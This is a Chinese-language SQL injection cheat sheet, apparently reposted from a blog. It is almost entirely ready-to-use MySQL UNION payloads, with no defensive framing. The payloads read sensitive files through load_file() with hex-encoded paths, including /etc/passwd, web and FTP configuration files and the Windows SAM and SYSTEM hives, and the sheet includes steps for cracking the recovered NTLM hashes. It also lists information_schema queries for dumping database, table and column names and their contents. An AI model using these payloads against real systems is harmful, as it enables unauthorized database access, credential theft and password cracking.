MySQL手工注入脚本

一、load_file()函数的应用
1.获得字段数
order by n

and 1=2 union select 1,2

2.load_file()获取敏感信息

读取c:\boot.ini信息,要用十六进制的形式
and 1=2 union select 1,load_file(0x633A5C626F6F742E696E69)

其他敏感信息
load_file(char(47)) 列出freebsd目录
/etc/passwd

读取httpd.conf
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default

C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf
C:\apache\conf\httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf   //虚拟网站设置
/usr/local/app/php5/lib/php.ini  //PHP相关配置
/etc/sysconfig/iptables  //防火墙规则策略
/etc/rsyncd.conf   //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0   //查看IP
/etc/my.cnf   //mysql的配置文件
/etc/redhat-release  //系统版本
/etc/issue  //系统版本
/etc/issue.net  //系统版本
/usr/local/resin/conf/resin.conf   //查看linux系统配置的JSP虚拟主机
/usr/local/resin-pro-3.0.22/conf/resin.conf
/usr/local/resin-3.0.22/conf/resin.conf   //查看RESIN3.0.22配置文件
c:\mysql\data\mysql\usr.MYD  //存储了“Mysql.user”表中的数据库链接密码
c:\Program Files\Rhinosoft.com\Serv-U\ServUDaemon.ini
c:\Program Files\serv-u\ServUDaemon.ini  //FTP软件配置文件,存储虚拟主机网站路径和密码
c:\Program Files\mysql\my.ini
c:\windows\my.ini   //Mysql配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
c:\Resin\conf\resin.conf
c:\Resin-3.0.14\conf\resin.conf    //查看JSP网站“resin”文件配置信息


c:\windows\repair\sam
c:\Program Files\Serv-U\ServUAdmin.exe
c:\Program Files\RhinoSoft.com/ServUDaemon.exe
c:\Documents and Setting\All Users\Application Data\Symantec\pcanywhere\*.cif文件  //pcanywhere登录密

码文件

3.读取c:\windows\repair\sam实战代码
and 1=2 union select 1,hex(replace(load_file(0x633A5C77696E646F77735C7265706169725C73616D),char(60),char(30)))

读取c:\windows\repair\system

and 1=2 union select 1,hex(replace(load_file(0x633A5C77696E646F77735C7265706169725C73797374656D),char(60),char(30)))

用c32asm新建十六进制文件,然后特殊粘贴用ASCII Hex模式,保存上面读出的内容。

用SAMinisde破解获得的NTML密码。

二、limit爆库、爆表、爆字段
1.爆数据库
and 1=2 union select 1,database() /*

and 1=2 union select 1,SCHEMA_NAME,3,4,.. from information_schema.SCHEMATA limit n,1
改变n值获得所有库名

2.爆表名
and 1=2 union select 1,TABLE_NAME,3,4,... from information_schema.TABLES where TABLE_SCHEMA=0x库名十六

进制 limit n,1

改变n值获得所有表名

3.爆字段
and 1=2 union select 1,COLUMN_NAME,3,4,.. from information_schema.COLUMNS where TABLE_NAME=0x表名十六

进制 limit n,1
改变n值获得所有字段名

4.查询表字段内容
and 1=2 union select 1,字段名1 from 表名--

and 1=2 union select 1,字段名2 from 表名 where 字段名1=0x字段值1十六进制--

三、group_concat()快速实施MySQL注入攻击
1.爆所有数据库名
and 1=2 union select 1,group_concat(SCHEMA_NAME),3,.. from information_schema.schemata

2.包当前库所有表名
and 1=2 union select 1,group_concat(table_name),3,.. from information_schema.tables where

table_schema=database()

3.爆字段名
and 1=2 union select 1,group_concat(column_name),3.. from information_schema.columns where

table_name=0x表名十六进制

4.爆字段内容
and 1=2 union select 1,group_concat(字段名1,0x7c,字段名2) from 表名

原文地址:https://www.cnblogs.com/shanmao/p/2773012.html